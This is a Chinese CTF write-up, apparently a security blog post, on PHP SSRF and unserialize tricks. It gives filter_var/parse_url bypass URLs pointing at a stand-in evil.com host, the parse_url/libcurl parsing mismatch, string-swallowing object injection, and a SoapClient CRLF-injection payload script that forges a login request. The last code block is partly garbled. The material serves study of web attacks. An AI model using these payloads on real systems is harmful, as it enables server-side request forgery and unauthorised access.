点击蓝字关注“合天智汇”,获取更多干货
1
前言
最近参加了一些比赛,也看了一些国外比赛的题解文章,感觉学到很多东西,于是在此总结一下
2
some trick in ssrf
1
trick1 filter_var() bypass
之前看到一篇文章,觉得写得很不错,于是在此总结一下
比如说如下代码
$url = $_GET['url'];
echo "Argument: ".$url."\n";
if(filter_var($url, FILTER_VALIDATE_URL)) {
$r = parse_url($url);
var_dump($r);
if(preg_match('/skysec\.top$/', $r['host']))
{
exec('curl -v -s "'.$r['host'].'"', $a);
} else {
echo "Error: Host not allowed";
}
} else {
echo "Error: Invalid URL";
}
?>
我们能够进行ssrf吗?
首先看一下filter_var()的作用
mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] )
比较常见的选项有:
FILTER_VALIDATE_EMAIL 检查是否为有效邮箱
FILTER_VALIDATE_URL 检查是否为有效url
这里我们的过滤显然是检查是否为有效url
简单尝试一下:
http://localhost/web/test/22.php?url=http://skysec.top
得到回显
Argument: http://skysec.top
H:\wamp64\www\web\test\22.php:6:
array (size=2)
'scheme' => string 'http' (length=4)
'host' => string 'skysec.top' (length=10)
再试一个:
http://localhost/web/test/22.php?url=http://skysec;
得到回显:
Argument: http://skysec; Error: Invalid URL
很显然后者不符合url的匹配要求
那么我们再来看最开始的代码
1.filter_var对url进行check
2.parse_url获取url的host
3.对host进行正则匹配,判断是否以skysec.top结尾
那么这样可能存在ssrf吗?
文章:https://medium.com/secjuice/php-ssrf-techniques-9d422cb28d51
中提到了一种方法,我觉得学习到一手:
我们可以访问
http://localhost/web/test/22.php?url=0://evil.com:80,skysec.top:80/
或
http://localhost/web/test/22.php?url=0://evil.com:23333;skysec.top:80/
当使用了exec()函数,例如样题代码中exec('curl -v -s "'.$r['host'].'"', $a);时
可以使用
http://localhost/web/test/22.php?url=0://evil$skysec.top
这样都可以绕过检测,达到请求任意ip,任意端口的目的
不妨测试:
我们将上述代码放在自己的vps上:
1.监听23333端口:
root@ubuntu-512mb-sfo2-01:~# nc -l -vv -p 23333
Listening on [0.0.0.0] (family 0, port 23333)
访问
http://vps_ip/testsky/index.php?url=0://vps_ip:23333;skysec.top:80/
可以在监听中收到:
Connection from [vps_ip] port 23333 [tcp/*] accepted (family 2, sport 37996)
GET / HTTP/1.1
Host: vps_ip:23333
User-Agent: curl/7.47.0
Accept: */*
发现成功请求到我们指定的ip:port
2
trick2 libcurl and parse_url()
这个点是在34c3中的一道题中学到的
首先列出参考链接:
http://www.freebuf.com/articles/web/159342.html
https://www.jianshu.com/p/ef6cf8665a64
个人认为这两篇文章分析的很透彻,其中ssrf的trick在于
parse_url与libcurl对curl的解析差异
测试环境为
php 7.0
libcurl 7.52
匹配规则
php parse_url:
host: 匹配最后一个@后面符合格式的host
libcurl:
host:匹配第一个@后面符合格式的host
比如如下url:
http://u:[email protected]:[email protected]/
php解析结果:
schema: http
host: b.com
user: u
pass: [email protected]:80
而libcurl解析结果:
schema: http
host: a.com
user: u
pass: p
port: 80
后面的@b.com/会被忽略掉
那么此时,如果恶意代码检测是依据parse_url的结果,就会导致绕过问题
我们假设一个环境:
1.利用curl对用户给出ip进行访问并获取内容
2.为防止ssrf,我们利用parse_url进行解析,设置waf
那么就以刚才的url为例:http://u:[email protected]:[email protected]/
如果我们的后端代码用parse_url()去解析我们传入的url,并只允许访问Host为b.com的ip
而此时如果我们传入的是刚才的url,那么我们可以绕过解析,并且curl访问到非法ip
当然34c3的这题可以学到的知识远远多于这一点,有兴趣的可以去搭建一下环境,题目已开源:
https://github.com/eboda/34c3ctf/tree/master/extract0r
$url = $_GET['url'];
echo "Argument: ".$url."\n";
if(filter_var($url, FILTER_VALIDATE_URL)) {
$r = parse_url($url);
var_dump($r);
if(preg_match('/skysec\.top$/', $r['host']))
{
exec('curl -v -s "'.$r['host'].'"', $a);
} else {
echo "Error: Host not allowed";
}
} else {
echo "Error: Invalid URL";
}
?>
3
some trick in unserialize()
1
trick1 Method with the same name
这个方法是来自于Insomnihack Teaser 2018 / File Vault
首先给出官方的题解
https://corb3nik.github.io/blog/insomnihack-teaser-2018/file-vault
其中关键代码如下
php
function s_serialize($a, $secret) {
$b = serialize($a);
$b = str_replace("../","./",$b);
return $b.hash_hmac('sha256', $b, $secret);
};
由于str_replace的存在,我们可以破坏序列化对象,并引入恶意代码
举个例子
我们有
php
$array = array();
$array[] = "../../../../../../../../../../../../../";
$array[] = 'A";i:1;s:3:"Sky';
echo serialize($array)."\n";
可以得到序列化结果
a:2:{i:0;s:39:"../../../../../../../../../../../../../";i:1;s:15:"A";i:1;s:3:"Sky";}
如果我们正常反序列化,得到的是:
Array
(
[0] => ../../../../../../../../../../../../../
[1] => A";i:1;s:3:"Sky
)
但经过str_replace()后得到
a:2:{i:0;s:39:"./././././././././././././";i:1;s:15:"A";i:1;s:3:"Sky";}
此时反序列化后的结果为
Array
(
[0] => ./././././././././././././";i:1;s:15:"A
[1] => Sky
)
我们发现Sky这个点现在完全可以注入新的代码
这是为什么呢?
我们关注str_replace()之前的序列化结果
a:2:{i:0;s:39:"../../../../../../../../../../../../../";i:1;s:15:"A";i:1;s:3:"Sky";}
此时的s:39刚好为:../../../../../../../../../../../../../
而经过str_replace后
此时的s:39并没有变,但是内容发生了变化:
./././././././././././././";i:1;s:15:"A
可以发现,我们成功的吞掉了后面的值,导致可以构造注入
既然可以构造对象注入,那我们看这段代码
php
class UploadFile {
function upload($fakename, $content) {
..... // 你什么也不能做
}
function open($fakename, $realname) {
..... // 你什么也不能做
}
}
我们可以发现,对于UploadFile,我们是无可奈何的
但是我们是可以构造对象注入的,那么有没有其他对象也有同名的函数呢?
php
foreach (get_declared_classes() as $class) {
foreach (get_class_methods($class) as $method) {
if ($method == "open")
echo "$class->$method\n";
}
}
?>
运行脚本不难发现
SessionHandler->open
ZipArchive->open
XMLReader->open
SQLite3->open
拥有同名函数open()的类有4个
而在file-vault这道题目中ZipArchive->open()可以用来删除文件.htaccess,以便可以运行小马
所以最后由于str_replace的原因,我们成功进行了对象注入,以其他拥有同名函数的对象,完成了意想不到的操作
2
Magic Method call()
这个trick来自于刚结束的N1CTF的hard php
题目需要使用ssrf,但是整个题目就只有2个漏洞点:
1.sql注入
2.伪造任意的php内置类
sql注入显然在这道题里只是用来获取管理员密码的,与SSRF无关
那么看来SSRF就是在伪造任意的php内置类了
题目中可控并且可进行反序列化的类为
php
class Mood{
public $mood, $ip, $date;
public function __construct($mood, $ip) {
$this->mood = $mood;
$this->ip = $ip;
$this->date = time();
}
public function getcountry()
{
$ip = @file_get_contents("http://ip.taobao.com/service/getIpInfo.php?ip=".$this->ip);
$ip = json_decode($ip,true);
return $ip['data']['country'];
}
public function getsubtime()
{
$now_date = time();
$sub_date = (int)$now_date - (int)$this->date;
$days = (int)($sub_date/86400);
$hours = (int)($sub_date%86400/3600);
$minutes = (int)($sub_date%86400%3600/60);
$res = ($days>0)?"$days days $hours hours $minutes minutes ago":(($hours>0)?"$hours hours $minutes minutes ago":"$minutes minutes ago");
return $res;
}
}
经过上一个trick点,我们可以知道不可能存在某个同名函数getcountry()拥有ssrf的能力的
但此时,我们查阅相关手册可以发现:
public mixed __call ( string $name , array $arguments )
在对象中调用一个不可访问方法时,__call() 会被调用
而此时我们可以发现php内置类:SoapClient
这个类可以发送url请求,但是新的问题来了:
该类是用来发送xml的,发送的请求Content-type为Xml
我们如何才能让他伪造post数据包呢?
这里我们可以发现SoapClient的参数中有user_agent项
可以进行CRLF注入
所以最后我们可以构造soapclient对象
php
$target = "http://127.0.0.1/index.php?action=login";
$attack = new SoapClient(null,array('location' => $target,
'user_agent' => "AAA:BBB\r\nContent‐Type: application/x‐www‐form-urlencoded\r\n"."Cookie:PHPSESSID=sessid\r\nContent‐Length:"."501\r\n\r\nusername=admin&password=nu1ladmin&code=985008&",'uri' => "skysec.top"));
$payload = serialize($attack);
function strToHex($string)
{
$hex = '';
for ($i=0; $i { $ord = ord($string[$i]); $hexCode = dechex($ord); $hex .= substr('0'.$hexCode, ‐2); } return $hex; } echo strtoHex($payload); ?> 由此题可见,倘若我们有可控的反序列化注入点,很有可能可以构造ssrf进行攻击! 另外此题已经开源,有兴趣的可以自行搭建: https://github.com/Nu1LCTF/n1ctf-2018/tree/master/source/web/easy_harder_php 4 总结 经过一番对比,真的可以感觉出明显的差距,国际赛值得学习的点真的很多,本渣渣还需继续努力Orz,像大师傅们致敬! 最后,郑重说明:利用本文做任何违法事情,与本人和合天智汇无关,资料仅供参考与学习。 看不过瘾?合天2017年度干货精华请点击《【精华】2017年度合天网安干货集锦》 还不过瘾?加入我们的直播开始学习吧! 学习完了别忘了投稿哟!!! 合天公众号开启原创投稿啦!!! 大家有好的技术原创文章。 欢迎投稿至邮箱:[email protected]; 合天会根据文章的时效、新颖、文笔、实用等多方面评判给予100元-500元不等的稿费哟。 有才能的你快来投稿吧! 重金悬赏 | 合天原创投稿等你来!(点击了解投稿详情) 合天智汇 网址 : www.heetian.com 电话:4006-123-731 长按图片,据说只有颜值高的人才能识别哦→